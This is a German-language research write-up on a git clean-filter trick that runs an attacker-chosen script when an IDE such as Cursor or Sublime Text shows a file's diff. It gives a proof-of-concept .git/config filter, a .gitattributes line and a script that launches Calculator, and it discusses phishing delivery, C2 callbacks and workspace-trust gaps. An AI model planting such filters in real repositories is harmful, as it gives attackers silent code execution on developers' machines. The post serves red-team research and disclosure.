git-clean-filter

Dies ist ein dokumentiertes (bekanntes) Problem, aber ich bin während meiner Recherche darauf gestoßen & es ist ziemlich nützlich für RT/PT.

Zusammenfassung: Die filter.<name>.clean-Direktive in .git/config verweist auf ein Skript und .gitattributes bindet diesen Filter an eine versionierte Datei. Immer wenn Git einen echten git diff dieser Datei erzeugt, wird zuerst der Arbeitsverzeichnisinhalt durch den Clean-Befehl geleitet, sodass git blind jeden Pfad ausführt, den wir dort angeben.

Jetzt wird es interessant. Unsere Editoren führen automatisch git diff aus, sobald man auf eine geänderte Datei klickt, um deren SCM-Bereich (Source Control Management) und Spaltenannotationen zu füllen. Das bloße Öffnen des Ordners reicht nicht aus, aber das Anzeigen der Änderung schon, und das ist eine ziemlich natürliche Handlung, wenn man in ein Repository kommt.

Dies ist die gleiche Idee wie bei core.fsmonitor, nur auf einer anderen Direktive, und es ist nicht fsmonitor, sodass jeder, der danach sucht, es nicht sehen wird. Die Vorgehensweise passt zu RT-Einsätzen und 'Assume-Breach'-Szenarien mit beliebigen C2-Systemen oder unserem XRayC2, um einen Callback zu erhalten, der traditionelle Netzwerkabwehr umgeht. (Natürlich sind Phishing-E-Mails erforderlich, um den Endbenutzer zu täuschen, aber das Öffnen eines Ordners in einer IDE und das Klicken auf eine Datei scheint eine faire Aktion zu sein.)

Beweis der Funktionsweise. git clone übernimmt .git/config nicht, also versenden Sie den Ordner mit intaktem .git/. Konfiguration in .git/config:

[filter "poc"]
    clean  = ./icons/clean.sh
    smudge = cat

.gitattributes:

sample.txt filter=poc

sample.txt ist committet, wird aber im Arbeitsverzeichnis geändert ausgeliefert. Sobald Git es differenziert, feuert der Clean-Filter. clean.sh öffnet den Rechner und gibt den Inhalt unverändert weiter, sodass der Arbeitsbaum nie beschädigt wird:

#!/bin/sh
pgrep -x Calculator >/dev/null 2>&1 || open -a Calculator 2>/dev/null
exec cat

Öffnen Sie den Ordner in Ihrem Editor, klicken Sie auf sample.txt, um die Änderung anzuzeigen, und ein Rechner erscheint. (Beenden Sie den Rechner, um ihn erneut auszuführen.) Dieser POC ist macOS-spezifisch, passen Sie ihn für Ihre Umgebung an.

Getestet auf Cursor (Git CLI) und Sublime Text (libgit2).

Der Clean-Filter läuft nur bei einem vollständigen git diff, nicht bei git status, also feuert er, wenn der Editor die Änderung darstellt, nicht nur beim Öffnen des Ordners. Interessanterweise löst Sublime es prozessintern über libgit2 aus, der Parent des Payloads ist sublime_text selbst, ohne dass ein git-Binary in der Kette ist, sodass dies nicht auf Tools beschränkt ist, die git als Unterprozess aufrufen.

https://github.com/user-attachments/assets/31ea495f-1ed8-44f8-bef3-8c6366a0eece

Wie fsmonitor wird dies durch die Eingabeaufforderung „Vertrauen Sie diesem Ordner?" des Editors abgefragt. Die meisten Entwickler lassen ~/Downloads und ähnliche übergeordnete Ordner als vertrauenswürdig eingestuft, und Cursor liefert die Arbeitsbereichsvertrauensstellung standardmäßig deaktiviert aus, sodass der PoC still läuft. Wenn ein Repository außerhalb dieser vertrauenswürdigen Pfade liegt, wird die IDE fragen „Vertrauen Sie diesem Herausgeber?" bevor sie .git/config liest.

Git-Dokumentation: core.fsmonitor und filter.* unter https://git-scm.com/docs/gitattributes.